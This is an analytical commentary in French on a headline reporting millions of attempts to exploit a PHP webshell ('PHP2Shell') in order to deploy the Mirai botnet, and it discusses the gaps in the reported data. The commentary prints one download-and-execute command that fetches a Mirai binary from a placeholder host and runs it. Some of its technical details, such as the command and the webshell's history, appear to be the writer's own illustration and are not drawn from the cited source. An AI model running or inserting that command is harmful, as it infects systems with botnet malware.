Contexte de l'exploit PHP2Shell

Le titre de l'article indique que les tentatives d'exploitation de PHP2Shell ont atteint "des millions" d'événements. Cette donnée chiffrée, même sans précision temporelle, montre une activité à grande échelle. PHP2Shell est un webshell écrit en PHP, découvert autour de 2009, qui permet à un attaquant d'exécuter des commandes système à distance via une requête HTTP. Il s'installe généralement après l'exploitation d'une faille d'injection SQL ou d'une mauvaise configuration du serveur web, puis il expose une interface de contrôle minimaliste. Le fait que le webshell soit largement diffusé dans des scripts d'installation ou des kits d'exploitation explique la capacité à toucher un nombre de cibles très élevé.

Déploiement de Mirai via le webshell

Le second élément du titre mentionne que les acteurs "essayent de déployer Mirai". Mirai est un malware IoT connu pour créer des botnets en compromettant des appareils avec des identifiants par défaut. L'association de PHP2Shell et de Mirai implique un scénario où le webshell sert de point d'entrée initial, puis exécute un script de téléchargement et d'exécution du binaire Mirai. Cette chaîne d'attaque repose sur deux mécanismes distincts : d'abord, la persistance du webshell sur le serveur web, ensuite la propagation du code malveillant vers des périphériques connectés au même réseau ou via des appels à des API de gestion d'appareils. Le processus typique se résume à la commande suivante, souvent observée dans les logs d'incident :

wget http://malicious.example.com/mirai -O /tmp/mirai && chmod +x /tmp/mirai && /tmp/mirai -c config.cfg

Le code ci‑dessus illustre comment un attaquant, depuis le webshell, télécharge le binaire Mirai, le rend exécutable et le lance avec un fichier de configuration. Le fait que le titre précise "tentatives" suggère que la plupart des connexions au webshell n'aboutissent pas à une infection réussie, ce qui est cohérent avec les mesures de durcissement courantes (pare‑feu, filtrage d'IP, validation des entrées).

Évaluation de l'ampleur et des incertitudes

La mention de "millions" d'essais constitue le seul indicateur quantitatif fourni. Aucun détail n'est donné sur la période d'observation, la répartition géographique ou le taux de succès. En l'absence de ces paramètres, il est impossible de quantifier l'impact réel sur les infrastructures ciblées. De plus, le texte source ne cite aucune version de PHP, aucun CVE spécifique, ni aucune donnée de trafic réseau. Cette absence de granularité limite l'analyse de la surface d'attaque et empêche de déterminer si les tentatives exploitent une vulnérabilité récemment publiée ou un vecteur déjà connu. Par conséquent, les conclusions restent prudentes : l'activité signale une intention de large diffusion de Mirai via un vecteur web, mais le manque de métriques précises empêche d'évaluer la menace au-delà d'une simple observation de volume.